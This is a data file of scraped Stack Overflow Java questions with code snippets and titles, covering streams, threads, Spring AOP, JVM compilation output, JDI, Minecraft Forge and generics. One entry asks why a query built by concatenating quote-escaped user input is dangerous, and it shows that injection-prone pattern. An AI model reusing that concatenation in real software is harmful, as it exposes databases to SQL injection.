going to have ; I do n't see a way to stop the stream based on some condition that 's computed based on what I 'm seeing in the stream.This does n't work : A trace indicates that something does happen when the last term is seen , but nothing good : in one case , the computation stopped but the program still hung , and in another case , it gave me a cute little crash dump that I get to report to Oracle.So is there a way to accomplish the sort of thing I 'm looking for ? ( Note : I 'm assuming serial streams , for now . But I think this is the sort of problem that could benefit from parallelism , once I figure out how to make it work . )","public static double infiniteSum ( DoubleStream ds ) { ... } double sum = infiniteSum ( IntStream.iterate ( 1 , ( i - > i + 1 ) ) .mapToDouble ( n - > 1 / ( ( double ) n * n ) ) ) ; public static void yeOldeWaye ( ) { double sum = 0 ; for ( double n = 1 ; ; n++ ) { double term = 1 / ( n * n ) ; if ( Math.abs ( term ) < = 1e-12 * Math.abs ( sum ) ) { break ; } sum += term ; } System.out.println ( sum ) ; } public static double infiniteSum1 ( DoubleStream ds ) { double sum = 0 ; PrimitiveIterator.OfDouble it = ds.iterator ( ) ; while ( true ) { double term = it.next ( ) ; if ( Math.abs ( term ) < = 1e-12 * Math.abs ( sum ) ) { break ; } sum += term ; } return sum ; } private static class DoubleAccumulator { public double sum ; public DoubleAccumulator ( ) { sum = 0 ; } } public static double infiniteSum ( DoubleStream ds ) { DoubleAccumulator summer = ds.limit ( 800000 ) .collect ( DoubleAccumulator : :new , ( s , d ) - > s.sum += d , ( s1 , s2 ) - > s1.sum += s2.sum ) ; return summer.sum ; } public static double infiniteSum ( DoubleStream ds ) { DoubleAccumulator summer = ds.collect ( DoubleAccumulator : :new , ( s , d ) - > { if ( Math.abs ( d ) < = 1e-12 * Math.abs ( s.sum ) ) { ds.close ( ) ; // AAACK } else s.sum += d ; } , ( s1 , s2 ) - > s1.sum += s2.sum ) ; return summer.sum ; }",Using streams to compute infinite sum +Java,"If there is an exception during the run-time of a thread , Do I need to clean up or something else ? If I have hundreds of threads running , can I use garbage collector to clean up my memory ?",class MyThread extends Thread { public void run ( ) { try { MyDAO dao = new MyDAO ( ) ; List < Results > res = dao.findResults ( ... ) ; ... . } catch ( Exception e ) { //Do I need any clean up here } } },Do Java Threads need a cleanup if exceptions occurred +Java,"I have a single .war app that uses Spring and initializes it 's context in two different ways.It uses both annotation config and XML config . So my firs question is : Is this always a bad practice and what problems can it lead to ? Secondly it uses both annotations and XML because it sets up its REST controllers using annotations and its Services/DAOs using XML.Now I have an advice that works great on the services , but does n't fire at all if used on the REST controllers.This is a relevant part of it : It is initialized in the context like so : So my second question is : Is the fact that the context is initalized both with annotations and XML the reason why the aspect wo n't fire on the controllers ? If so how can I make it work ? Thanks , Some additional info from the deployment logs.This is how the XML beans get instantiated : So if this actually creates 2 seperate bean contexts ( does it ? ) , could it be the case that the aspect does n't exist at all in the annotation initialized context ? Thanks again ,","@ Aspectpublic class SessionAwareAspect { private SessionManager sessionManager ; private EngineActionResolver actionResolver ; @ Around ( `` @ annotation ( sessionAware ) '' ) public Object authenticate ( final ProceedingJoinPoint invocation , SessionAware sessionAware ) { // some logic } @ Required public void setSessionManager ( SessionManager sessionManager ) { this.sessionManager = sessionManager ; } @ Required public void setActionResolver ( EngineActionResolver actionResolver ) { this.actionResolver = actionResolver ; } } < bean id= '' sessionAwareAspect '' class= '' cayetano.pplive.core.session.SessionAwareAspect '' > < property name= '' sessionManager '' ref= '' sessionManager '' / > < property name= '' actionResolver '' ref= '' engineActionResolver '' / > < /bean > < aop : aspectj-autoproxy > < aop : include name= '' sessionAwareAspect '' / > < /aop : aspectj-autoproxy > Nov 01 , 2013 1:02:09 PM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons [ list of DAOs/Services ] ... . irrelevant log ... . 50/100 lines afterNov 01 , 2013 1:02:22 PM org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor < init > INFO : JSR-330 'javax.inject.Inject ' annotation found and supported for autowiringNov 01 , 2013 1:02:22 PM org.springframework.beans.factory.support.DefaultListableBeanFactory preInstantiateSingletons [ list of REST controllers ]",Is it a bad idea to use both XML and annotation config in a single project with Spring ? +Java,"While using -XX : +PrintCompilation recently ( JDK 8r111 ) to examine method compilation , I noticed a new column which does n't appear in the documentation I can find on the topic : Any clue what it means ? It seems to vary between 0 and 3 , with native methods always 0 , and other methods always non-zero .",this column | | v600 1 s 3 java.util.Hashtable : :get ( 69 bytes ) 601 4 3 java.lang.Character : :toLowerCase ( 6 bytes ) 601 8 3 java.io.UnixFileSystem : :normalize ( 75 bytes ) 602 12 3 java.lang.ThreadLocal : :get ( 38 bytes ) 602 14 3 java.lang.ThreadLocal $ ThreadLocalMap : :getEntry ( 42 bytes ) 602 18 2 java.lang.String : :startsWith ( 72 bytes ) 602 10 4 java.lang.String : :equals ( 81 bytes ) 602 2 % 4 java.lang.String : :hashCode @ 24 ( 55 bytes ) 602 16 s ! 3 sun.misc.URLClassPath : :getLoader ( 197 bytes ) 603 23 n 0 java.lang.System : :arraycopy ( native ) ( static ) 604 27 n 0 sun.misc.Unsafe : :getObjectVolatile ( native ),What 's this new column in -XX : +PrintCompilation output ? +Java,Is there a precision difference between the following ( assuming the value of a and b can be represented without loss of precision in a float ) .With floats : With doubles :,float a ; float b ; double result = 1 + a*b ; double a ; double b ; double result = 1 + a*b ;,Float vs double Math Java +Java,"I am having some problems updating a debugger to work with Java 8 . Consider the following program for example : As expected , Java 8 compiles the lambda to something like this : This looks pretty much like normal code . However , I am trying to use the Java Debugger Interface ( JDI ) to intercept every step of the program . The fist thing that goes wrong is when I handle the ClassPrepareEvent event corresponding to the lambda class . Asking the event.referenceType ( ) gives me something like Lam $ $ Lambda $ 1.1464642111 which is cool . But then calling .allLineLocations ( ) on the .referenceType ( ) gives a AbsentInformationException , which seems at odds with the LineNumberTable in the compiled file.It looks like stepping through lambda bodies in Java 8 is possible . But does anyone know how it can be done in JDI ? Updates : when .allLineLocations is called on the Lam class , it does reflect all of these line numbers . when a JDI Event happens within the lambda class ( e.g . from stepping ) , the .sourceName ( ) of the location throws an AbsentInformationExceptionit looks like jdk.internal.org.objectweb.asm . * is doing a bunch of stuff related to copying the lambdaI 'm not sure if the map from source lines to bytecodes is kept in Java , or in the JDISo my working hypothesis is that when the lambda 's class is created at runtime , the JDI needs to do something to recognize that the new class 's bytecode is coming from the old class 's bytecode ( which is in turn coming from from Lam.java ) . I do n't know enough about the internal representation of java.lang.Class or com.sun.jdi.ClassType to know where to begin.Why am I trying to do this : to update the Java Visualizer to work with lambdas","public class Lam { public static void main ( String [ ] args ) { java.util.function.Function < Integer , Integer > square = x - > { int result = 0 ; for ( int i=0 ; i < x ; i++ ) result++ ; return result ; } ; System.out.println ( square.apply ( 5 ) ) ; } } > javap -c -p -v -s -constants LamClassfile Lam.class ... private static java.lang.Integer lambda $ main $ 0 ( java.lang.Integer ) ; ... Code : stack=2 , locals=3 , args_size=1 0 : iconst_0 1 : istore_1 ... LineNumberTable : line 5 : 0 line 6 : 2 line 7 : 4 line 9 : 12 line 8 : 15 line 10 : 21","Java Debug Interface , Lambdas and Line Numbers" +Java,I 'm currently taking a course in Java and I 've run into some confusing code.Example : I do n't really get what this code is doing.How can the run method be associated with an instance of a class ? I googled `` Runnable '' and found out that it is an interface . Am I implementing the interface by declaring the run method between curly brackets ? Can this be done for any interface in java ? I could use some links/explanations . Thank you !,Runnable runnable = new Runnable ( ) { public void run ( ) { //doStuff } } ;,Java Runnable Question +Java,"Using Forge 1.8.9 in Eclipse ( Mars.1 Release ( 4.5.1 ) ) in local development environment.I 'm trying to set a player 's location every time they join or re-join a world . It always works the first time ( e.g . run and join the world . See first screen shot ) .After moving around the world a little bit , then logging out of that world and going back in ( same session w/out closing down MC ) , the world fails to appear and in the Console . The location is the same location as in the `` all OK '' login . Plus there is a Wrong Location ! Error . The error from the console is here : I 've tried a few variations of this , including Minecraft Forge : Using correct Join Game listener for setLocationAndAngles but no dice ( different behaviour ) .Ignore all the 'imports ' that are n't relevant . They are artifacts of my multiple attempts.I 've done some reading on the Wrong Location error , but something does n't seem right , given that I can appear in that location the first time around , so it is not like I am appearing inside a block . I 've tried creating a short delay ( 1-3s ) , but the error still occurs .","[ 05:47:53 ] [ Server thread/INFO ] : Player992 joined the game [ 05:47:53 ] [ Server thread/WARN ] : Wrong location ! ( 9 , 9 ) should be ( 9 , 6 ) , EntityPlayerMP [ 'Player992'/2371 , l='world ' , x=145.00 , y=73.00 , z=145.00 ] [ 05:48:18 ] [ Server thread/INFO ] : Saving and pausing game ... [ 05:48:18 ] [ Server thread/INFO ] : Saving chunks for level 'world'/Overworld [ 05:48:18 ] [ Server thread/INFO ] : Saving chunks for level 'world'/Nether [ 05:48:18 ] [ Server thread/INFO ] : Saving chunks for level 'world'/The End import net.minecraft.util.ChatComponentText ; import net.minecraft.util.EnumChatFormatting ; import net.minecraft.entity.player.EntityPlayer ; import net.minecraft.util.EnumChatFormatting ; import net.minecraftforge.event.entity.EntityJoinWorldEvent ; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent ; import net.minecraftforge.fml.common.gameevent.PlayerEvent.PlayerLoggedInEvent ; //import cpw.mods.fml.common.eventhandler.SubscribeEvent ; import net.minecraftforge.client.event.RenderWorldEvent ; import net.minecraftforge.event.world.WorldEvent ; public class JoinGameLocation { @ SubscribeEvent public void onEntityJoinWorld ( EntityJoinWorldEvent event ) { if ( event.entity ! = null & & event.entity instanceof EntityPlayer & & ! event.entity.worldObj.isRemote ) { event.entity.setLocationAndAngles ( 145 , 73 , 145 , 0 , 0 ) ; } } }",Minecraft Forge EntityJoinWorldEvent returns Wrong Location ! Error +Java,Possible Duplicate : Can I protect against SQL Injection by escaping single-quote and surrounding user input with single-quotes ? Is there any way to do a `` Bobby Tables '' -like attack on this code ?,"String badInput = rawInput.replace ( `` ' '' , '' '' '' ) ; ResultSet rs = statement.executeQuery ( `` SELECT * FROM records WHERE col1 = ' '' +badInput+ '' ' '' ;",Bad Code : Why is this dangerous ? +Java,"I am currently looking at Javaslang library and I am trying to convert some of my code to Javaslang.I currently have this bit of code which is all pure JavaI was looking at converting this to Javaslang , as I am interested in the library and I just wanted to play around with it.I am trying to do a similar thing , but convert to a Javaslang map instead of the java.util.Map.I have tried this so far but then I am getting stuck as I cant see a way of converting it.So I have my list of Cell objects , but I am trying to figure out how to convert this to a javaslang.collection.Map*EDIT *I have looked at getting my original java.util.Map to a javaslang.collections.Hashmap by this This still doesnt seem to be in line with Javaslang , but I will keep looking .","Cell [ ] [ ] maze ; //from inputMap < Cell , Long > cellCounts = Stream.of ( maze ) .flatMap ( Stream : :of ) .collect ( groupingBy ( c - > c , counting ( ) ) ) ; Array.of ( maze ) .flatMap ( Array : :of ) HashMap < Cell , Long > cellsCount = HashMap.ofEntries ( cellCounts .entrySet ( ) .toArray ( new Map.Entry [ 0 ] ) ) ;",Converting an Array to Javaslang Map with counts for each type +Java,"From this Oracle Java tutorial : The WildcardError example produces a capture error when compiled : After this error demonstration , they fix the problem by using a helper method : First , they say that the list input parameter ( i ) is seen as an Object : In this example , the compiler processes the i input parameter as being of type Object.Why then i.get ( 0 ) does not return an Object ? if it was already passed in as such ? Furthermore what is the point of using a < ? > when then you have to use an helper method using < T > . Would not be better using directly T which can be inferred ?","public class WildcardError { void foo ( List < ? > i ) { i.set ( 0 , i.get ( 0 ) ) ; } } public class WildcardFixed { void foo ( List < ? > i ) { fooHelper ( i ) ; } // Helper method created so that the wildcard can be captured // through type inference . private < T > void fooHelper ( List < T > l ) { l.set ( 0 , l.get ( 0 ) ) ; } }",Capturing wildcards in Java generics +Java,"I have an annotation This is applied to compareTo in following classThe class gives different result with java-7 and java-8 compiled code.Java 7 Note that compareTo ( Object ) does not have the annotation.Java 8Java 8 has annotation added to the compareTo ( java.lang.Object ) methodHere is output from javap for the version compiled with Java 8 ( probably not relevant , it shows the annotation added to both methods ) Could someone explain relevant changes in Java 8 ? ( Will offer Bounty when is becomes eligible ) .","package javaannotationtest ; import java.lang.annotation . * ; @ Target ( { ElementType.METHOD } ) @ Retention ( RetentionPolicy.RUNTIME ) public @ interface CustomAnnotation { } package javaannotationtest ; public class Customer implements Comparable < Customer > { @ Override @ CustomAnnotation public int compareTo ( Customer o ) { return 0 ; } } 1.7.0_45 - > public int javaannotationtest.Customer.compareTo ( javaannotationtest.Customer ) has annotation of type javaannotationtest.CustomAnnotation1.7.0_45 - > public int javaannotationtest.Customer.compareTo ( java.lang.Object ) has no annotation of type javaannotationtest.CustomAnnotation 1.8.0 - > public int javaannotationtest.Customer.compareTo ( javaannotationtest.Customer ) has annotation of type javaannotationtest.CustomAnnotation1.8.0 - > public int javaannotationtest.Customer.compareTo ( java.lang.Object ) has annotation of type javaannotationtest.CustomAnnotation Classfile /C : /code/java8annoation/out/production/java8annoation/javaannotationtest/Customer.class Last modified 17 Apr , 2014 ; size 719 bytes MD5 checksum 678e0371f5f9ed5666b513c940f365a7 Compiled from `` Customer.java '' public class javaannotationtest.Customer extends java.lang.Object implements java.lang.Comparable < javaannotationtest.Customer > Signature : # 20 // Ljava/lang/Object ; Ljava/lang/Comparable < Ljavaannotationtest/Customer ; > ; SourceFile : `` Customer.java '' minor version : 0 major version : 52 flags : ACC_PUBLIC , ACC_SUPERConstant pool : # 1 = Methodref # 4. # 23 // java/lang/Object . `` < init > '' : ( ) V # 2 = Class # 24 // javaannotationtest/Customer # 3 = Methodref # 2. # 25 // javaannotationtest/Customer.compareTo : ( Ljavaannotationtest/Customer ; ) I # 4 = Class # 26 // java/lang/Object # 5 = Class # 27 // java/lang/Comparable # 6 = Utf8 < init > # 7 = Utf8 ( ) V # 8 = Utf8 Code # 9 = Utf8 LineNumberTable # 10 = Utf8 LocalVariableTable # 11 = Utf8 this # 12 = Utf8 Ljavaannotationtest/Customer ; # 13 = Utf8 compareTo # 14 = Utf8 ( Ljavaannotationtest/Customer ; ) I # 15 = Utf8 o # 16 = Utf8 RuntimeVisibleAnnotations # 17 = Utf8 Ljavaannotationtest/CustomAnnotation ; # 18 = Utf8 ( Ljava/lang/Object ; ) I # 19 = Utf8 Signature # 20 = Utf8 Ljava/lang/Object ; Ljava/lang/Comparable < Ljavaannotationtest/Customer ; > ; # 21 = Utf8 SourceFile # 22 = Utf8 Customer.java # 23 = NameAndType # 6 : # 7 // `` < init > '' : ( ) V # 24 = Utf8 javaannotationtest/Customer # 25 = NameAndType # 13 : # 14 // compareTo : ( Ljavaannotationtest/Customer ; ) I # 26 = Utf8 java/lang/Object # 27 = Utf8 java/lang/Comparable { public javaannotationtest.Customer ( ) ; descriptor : ( ) V flags : ACC_PUBLIC Code : stack=1 , locals=1 , args_size=1 0 : aload_0 1 : invokespecial # 1 // Method java/lang/Object . `` < init > '' : ( ) V 4 : return LineNumberTable : line 3 : 0 LocalVariableTable : Start Length Slot Name Signature 0 5 0 this Ljavaannotationtest/Customer ; public int compareTo ( javaannotationtest.Customer ) ; descriptor : ( Ljavaannotationtest/Customer ; ) I flags : ACC_PUBLIC Code : stack=1 , locals=2 , args_size=2 0 : iconst_0 1 : ireturn LineNumberTable : line 7 : 0 LocalVariableTable : Start Length Slot Name Signature 0 2 0 this Ljavaannotationtest/Customer ; 0 2 1 o Ljavaannotationtest/Customer ; RuntimeVisibleAnnotations : 0 : # 17 ( ) public int compareTo ( java.lang.Object ) ; descriptor : ( Ljava/lang/Object ; ) I flags : ACC_PUBLIC , ACC_BRIDGE , ACC_SYNTHETIC Code : stack=2 , locals=2 , args_size=2 0 : aload_0 1 : aload_1 2 : checkcast # 2 // class javaannotationtest/Customer 5 : invokevirtual # 3 // Method compareTo : ( Ljavaannotationtest/Customer ; ) I 8 : ireturn LineNumberTable : line 3 : 0 LocalVariableTable : Start Length Slot Name Signature 0 9 0 this Ljavaannotationtest/Customer ; RuntimeVisibleAnnotations : 0 : # 17 ( ) }",java8 - annotating compareTo < T > of Comparable < T > adds annotations to compareTo ( Object o ) +Java,The question is simple can this query be done in Hibernate using Criteria or DetachedCriteria ? i guess not but i wanted to do this question maybe exist a workaround.I will mark the answer by @ Dean Clark as correct but another question arises is the following,"SELECT COLUMNS FROM tableWHERE id not in ( SELECT * FROM ( SELECT id FROM table WHERE SOMECONDITIONS ORDER BY timestamp desc limit 0 , 15 ) as t ) ; where can i find the findByCriteria from SessionFactory we are not using Spring",Is this query possible using Criteria or DetachedCriteria Hibernate +Java,"Does 'intrinsify ' means that source code of JVM is somewhat 'conservative ' , but the JIT compiler can do some optimization when the JVM warms up ? For example , the putOrderedObject is not required to ensure immediate visiblity , but we can see that there is a full memory barrier attached the store to a specified object , so I said the JVM is conservative , but a JIT compiler can optimize this memory barrier out during runtime , this is what so called instrinsify , am I right ?","UNSAFE_ENTRY ( void , Unsafe_SetOrderedObject ( JNIEnv *env , jobject unsafe , jobject obj , jlong offset , jobject x_h ) ) UnsafeWrapper ( `` Unsafe_SetOrderedObject '' ) ; oop x = JNIHandles : :resolve ( x_h ) ; oop p = JNIHandles : :resolve ( obj ) ; void* addr = index_oop_from_field_offset_long ( p , offset ) ; OrderAccess : :release ( ) ; if ( UseCompressedOops ) { oop_store ( ( narrowOop* ) addr , x ) ; } else { oop_store ( ( oop* ) addr , x ) ; } OrderAccess : :fence ( ) ; < ==There is a full memory barrier to ensure visibility which is NOT strictly requiredUNSAFE_END",What does 'intrinsify ' mean in the JVM source code ? +Java,"I am trying to make a column in a JXTable to be a combo box . Its difficult to explain the problem I am facing . When you click on the drop down , at times the drop down does not stay open long enough for you to choose the value . It just closes and some value is chosen . At times it stays open for you to choose a value . Here 's the SSCCE :","import java.awt.Color ; import javax.swing.ComboBoxModel ; import javax.swing.DefaultCellEditor ; import javax.swing.DefaultComboBoxModel ; import javax.swing.JComboBox ; import javax.swing.table.DefaultTableModel ; import org.jdesktop.swingx.JXFrame ; import org.jdesktop.swingx.JXTable ; import org.jdesktop.swingx.renderer.CellContext ; import org.jdesktop.swingx.renderer.ComponentProvider ; import org.jdesktop.swingx.renderer.DefaultTableRenderer ; public class Test { public static void main ( String [ ] args ) { JXFrame frame=new JXFrame ( ) ; Object [ ] [ ] rows = new Object [ 10 ] [ ] ; for ( int i = 0 ; i < rows.length ; i++ ) { rows [ i ] = new Object [ ] { `` Test data `` , '' Yes '' } ; } DefaultTableModel model = new DefaultTableModel ( rows , new String [ ] { `` Title 1 '' , `` Title 2 '' } ) ; final JXTable table = new JXTable ( model ) ; DefaultComboBoxModel cmodel = new DefaultComboBoxModel ( new String [ ] { `` Yes '' , '' No '' , '' Maybe '' } ) ; table.getColumnExt ( 1 ) .setCellRenderer ( new DefaultTableRenderer ( new ComboBoxProvider ( cmodel ) ) ) ; table.getColumnExt ( 1 ) .setCellEditor ( new ComboBoxEditor ( cmodel ) ) ; table.setVisibleRowCount ( 10 ) ; frame.setContentPane ( table ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.pack ( ) ; frame.setVisible ( true ) ; } } class ComboBoxEditor extends DefaultCellEditor { public ComboBoxEditor ( ComboBoxModel model ) { super ( new JComboBox ( model ) ) ; } } class ComboBoxProvider extends ComponentProvider < JComboBox > { private static final long serialVersionUID = 1L ; private JComboBox box ; public ComboBoxProvider ( ComboBoxModel model ) { box.setModel ( model ) ; } @ Override protected void configureState ( CellContext context ) { box.setForeground ( Color.black ) ; } @ Override protected JComboBox createRendererComponent ( ) { box = new JComboBox ( ) ; box.setForeground ( Color.black ) ; return box ; } @ Override protected void format ( CellContext context ) { box.setForeground ( Color.black ) ; rendererComponent.setSelectedItem ( context.getValue ( ) ) ; } }",Issue with a JComboBox in a JXTable +Java,"I 'm writing a method that takes as its only parameter a list of comparable objects and does n't return anything . I am uncertain as to the syntax that it should have : I think this is wrong because of the < Object > as a type for Comparable , which would mean the list can take an Integer and a Boolean as objects , but I do n't want that . I want the list to take only one type , but that type has to implement the Comparable interface . How do I achieve that ?",public static void methodName ( List < Comparable < Object > > list ) { // Do some stuff },Java Syntax for a list of comparable objects +Java,"How to perform validation with Spring Cloud Stream framework in message listeners using standard Spring annotation based validation ? Tried different cases , with @ Valid @ Payloadfor incoming object , tried method validation post processor with @ Validated on entity , but it did n't help . andThe best approach for now is just using of custom service for validation , but it looks not as wanted..","@ StreamListener ( MediaItemStream.ITEM_LIKED_CHANNEL ) public void handleLikeMessage ( @ Valid @ Payload LikeInputDto like ) { ... @ Beanpublic MethodValidationPostProcessor methodValidationPostProcessor ( ) { return new MethodValidationPostProcessor ( ) ; } @ Log4j2 @ Service @ AllArgsConstructorpublic class LikeStreamHandler { private MediaEventMessagingService mediaEventMessagingService ; private ValidationService validationService ; @ StreamListener ( MediaItemStream.ITEM_LIKED_CHANNEL ) public void handleLikeMessage ( LikeInputDto like ) { validationService.validate ( like ) ; log.debug ( `` Handling LIKE message : { } '' , like ) ; mediaEventMessagingService.processLikeEvent ( like ) ; } }",Spring Cloud Stream validation +Java,"I 've problems verifying a certificate which is signed with ECDSA with SHA384 on Android 6.0 and up . However , it is working for Android 4.1 - 5.1 . I tracked it down to an error in the Certificate class . An exception is thrown in the verify method : Any idea why this is happening with Android 6.0 and how it can be fixed ? I already tested it with Spongycastle as a security provider , but the verify function always throws that exception.Thanks & Regards",java.lang.RuntimeException : error:0f092074 : elliptic curve routines : ec_asn1_pkparameters2group : NON_NAMED_CURVE,Signature verification problems for ecdsa-with-SHA384 on Android 6 +Java,"The InputStream of my Process should attach and detach whenever the user wants to see it or not . The attaching works fine , but the detach fails . Default answer to interrupt the readLine ( ) method is always to close the stream , but I cant in this case or the Process will finish or at least not available for future attachments . This is how the stream is read : To detach I tried some stuff : Close any of the streams , failed : close method is blocking and waits for the readLine ( ) Implement another stream to send null / abortion value with SequenceInputStream , failed : when one InputStream was waiting for input , the other was not even calledUse reflections to unlock the read ( ) method inside any of the streams , failed : not sure why , but did not work . Should we go on with this try ? Here is the sourcecode : Not sure how I can fix this . Could you help me interrupting the readLine ( ) method without closing the stream , simple and performant ? Thanks.Edit : What do I mean by `` performant '' ? My application has not much users , but a lot of processes . The answer by @ EJP is not wrong - but unperformant in the case of my application . I can not have hundreds of threads for hundreds of processes , but I can have as many processes as I have users watching . That 's why I try to interrupt the process gracefully . Fewer threads , less running/blocked threads.Here is the application described ( https : //imgur.com/VUcYUfi.png ) The Thread that sends the information to the user is the same that reads the input .","BufferedReader reader = new BufferedReader ( new InputStreamReader ( getProcess ( ) .getInputStream ( ) ) ) ; String line ; while ( ( line = reader.readLine ( ) ) ! = null ) { System.out.println ( line ) ; } try { Field modifiers = Field.class.getDeclaredField ( `` modifiers '' ) ; modifiers.setAccessible ( true ) ; Field fdecoder = stream.getClass ( ) .getDeclaredField ( `` sd '' ) ; fdecoder.setAccessible ( true ) ; modifiers.setInt ( fdecoder , 1 ) ; StreamDecoder decoder = ( StreamDecoder ) fdecoder.get ( stream ) ; Field flock = decoder.getClass ( ) .getSuperclass ( ) .getDeclaredField ( `` lock '' ) ; flock.setAccessible ( true ) ; modifiers.setInt ( flock , 1 ) ; Object lock = ( Object ) flock.get ( decoder ) ; synchronized ( lock ) { lock.notifyAll ( ) ; } } catch ( NoSuchFieldException | IllegalAccessException e ) { Wrapper.handleException ( Thread.currentThread ( ) , e ) ; }",Interrupt BufferedReader # readLine ( ) without closing InputStream +Java,"I tried to upload a file to Google Cloud Storage using XML API . I have the right GoogleAccessId , expiry date and signature generated for each upload . The strange thing is that I can PUT file using Postman ( application for Chrome ) , so I 'm sure that the URL is ok . I just can not PUT it using my Android Java program ( it returns to me 403 error ) . The source code performing upload is here ( it base on this one : https : //cloud.google.com/storage/docs/access-control # Signing-Strings ) : Documentation for PUT Object : https : //cloud.google.com/storage/docs/xml-api/put-object-uploadCan anybody look into this problem and give me hints what might went wrong with this one ?","URL url ; HttpURLConnection connection ; try { url = new URL ( `` http : //google-testbucket.storage.googleapis.com/testdata.txt ? GoogleAccessId=1234567890123 @ developer.gserviceaccount.com & Expires=1331155464 & Signature=BClz9e4UA2MRRDX62TPd8sNpUCxVsqUDG3YGPWvPcwN % 2BmWBPqwgUYcOSszCPlgWREeF7oPGowkeKk7J4WApzkzxERdOQmAdrvshKSzUHg8Jqp1lw9tbiJfE2ExdOOIoJVmGLoDeAGnfzCd4fTsWcLbal9sFpqXsQI8IQi1493mw % 3D '' ) ; connection = ( HttpURLConnection ) url.openConnection ( ) ; connection.setDoOutput ( true ) ; connection.setRequestMethod ( `` PUT '' ) ; OutputStreamWriter out = new OutputStreamWriter ( connection.getOutputStream ( ) ) ; out.write ( `` Test '' ) ; out.close ( ) ; Log.i ( `` TAG '' , `` PUT Response code : `` + connection.getResponseCode ( ) ) ; } catch ( MalformedURLException e ) { e.printStackTrace ( ) ; Log.e ( `` TAG '' , `` MalformedURLException '' ) ; } catch ( ProtocolException e ) { e.printStackTrace ( ) ; Log.e ( `` TAG '' , `` ProtocolException '' ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; Log.e ( `` TAG '' , `` IOException '' ) ; }",HttpURLConnection PUT to Google Cloud Storage giving error 403 +Java,"I have the following the code currently.Method - parseGreeting ( ) GetGreetingNmsObjects .javaIn the above method , is there a way to avoid the for loop and if statement and handle with streams itself ? I tried to use 'flatmap ' and get the stream for 'attributesList ' but once the match is found , I could not get reference to 'GetGreetingNmsObjects ' object .","public GetGreetingNmsObjects parseGreeting ( String greetingType , GetGreetingNmsResponse xmlFromNms ) { GetGreetingNmsObjects objectFound = null ; List < GetGreetingNmsObjects > objList = xmlFromNms.getObject ( ) ; for ( GetGreetingNmsObjects obj : objList ) { List < Attribute > attrs = obj.getAttributes ( ) ; Optional < Boolean > found = attrs.stream ( ) .filter ( a - > a.name.equals ( GREETING_TYPE ) ) .map ( a - > a.value.equals ( greetingType ) ) .findAny ( ) ; if ( found.get ( ) ) { objectFound = obj ; break ; } return objectFound ; } public class GetGreetingNmsObjects { List < Attribute > attributeList ; public List < Attribute > getAttributes ( ) { return attributeList ; } } GetGreetingNmsObjects objectFound = objList.stream ( ) .flatMap ( grt - > grt.getAttributes ( ) ) .filter ( a - > a.name.equals ( GREETING_TYPE ) ) .map ( a - > a.value.equals ( greetingType ) ) ? ? ? ?",Java 8 stream - Referring to original stream object after flatmap +Java,Why is this java class not Thread safe.I read that keyword synchronized is needed to make it thread safe ? After all is n't the operations done inside atomic ?,class TestClass { private int x ; int get ( ) { return x ; } void set ( int x ) { this.x = x ; } },Thread safety in Java class +Java,I had a piece of code that worked just fine and now somehow does n't work . I am reading in a csv file and get an error when reading in a time field of the format 4:38 . My code that throws the exception is : I also tried `` H : mm '' or `` H : m '' for the pattern but it throws the same exception : Text ' 4:38 ' could not be parsed at index 0 . Any idea to why it throws an exception at the hour number ? I am using Java 8 .,"LocalTime.parse ( `` 4:38 '' , DateTimeFormatter.ofPattern ( `` HH : mm '' ) )",Java LocalTime Parse Exception +Java,"I 'm trying to build CI/CD for multiple java projects that are contained in one repo with Azure pipelines.For this purpose was requirement to create one pipeline which will build every project with Maven @ 3 task . The problem is that when we add new project I want that only this one project was built and not every previous project . My file looks like : For example project1 is alraedy in develop , so I do n't want to do mvn package for it , but only for project2 , which is this not merged and has feature branch . For now this yml wo n't work because project1 and project2 are in the same repo and this two task will run , which I wan t to avoid . Is there some way to say `` onChange '' ? ? ?",resources : - repo : self clean : true lfs : truetrigger : branches : include : - feature/*variables : - group : varsstages : - stage : Build pool : vmImage : 'image ' jobs : - job : Build strategy : maxParallel : 4 steps : - task : replacetokens @ 3 inputs : targetFiles : 'settings.xml ' - task : Maven @ 3 inputs : jdkVersionOption : 1.8 mavenPomFile : 'project1/pom.xml ' options : '-s $ ( Build.SourcesDirectory ) \settings.xml ' goals : 'clean package ' - task : Maven @ 3 inputs : jdkVersionOption : 1.8 mavenPomFile : 'project2/pom.xml ' options : '-s $ ( Build.SourcesDirectory ) \settings.xml ' goals : 'clean package ',CI/CD with Azure Pipelines for mono-repo with multiple projects inside to build only updated one +Java,"I did n't find the identity-equality Predicate I expected to in com.google.common.base.Predicates so I whipped this up . I 've found it useful for assertions in unit tests about the precise behavior of collections ( e.g. , Multiset < T > ) Does this already exist ? If not , I think it should but maybe there 's something I 'm not considering ?","/** @ see Predicates # is ( Object ) */private static class IsPredicate < T > implements Predicate < T > , Serializable { private final T target ; private IsPredicate ( T target ) { this.target = target ; } public boolean apply ( T t ) { return target == t ; } @ Override public int hashCode ( ) { return target.hashCode ( ) ; } @ Override public boolean equals ( Object obj ) { if ( obj instanceof IsPredicate ) { IsPredicate < ? > that = ( IsPredicate < ? > ) obj ; return target.equals ( that.target ) ; } return false ; } @ Override public String toString ( ) { return `` Is ( `` + target + `` ) '' ; } private static final long serialVersionUID = 0 ; } /** * Returns a predicate that evaluates to { @ code true } if the object being * tested { @ code == } the given target or both are null . */public static < T > Predicate < T > is ( T target ) { return ( target == null ) ? Predicates. < T > isNull ( ) : new IsPredicate < T > ( target ) ; }",Does Guava provide a Predicates.is ( T ) ( a la Predicates.equalTo ( T t ) ) for identity equality ? +Java,"I need to call this function pretty frequently . Basically , it replaces all accented characters by its unaccented equivalents , changes spaces to `` _ '' , converts to lowercase , and strips the rest of alien codes , so it is safe to use as filenames/url paths/etc.. The problem is , as you see , it looks terrible from the performance point of view . Can anybody think of a cleaner , faster alternative ? -- - EDITOk , guys ... I did the performance tests on all 4 cases : Case 1 ) The original routine as it is posted here.Case 2 ) The improvement suggested by @ WCharginCase 3 ) The Lookup Table suggested by @ devconsole with my optimizations for SparseArrayCase 4 ) The Normalizer approach suggested by @ Erik PragtAnd ... the winner is ... TADAAA ... ..It 's interesting the pattern compilation optimization does n't help much . I see I was also completely wrong about my assumptions on the speed on REGEXES , and devconsole was right in his educated guess on Normalizer outperforming regexes . It is amazing how slow REGEXES are . Differences by an order of magnitude really surprise me . I will try to avoid them on Java . The lookup 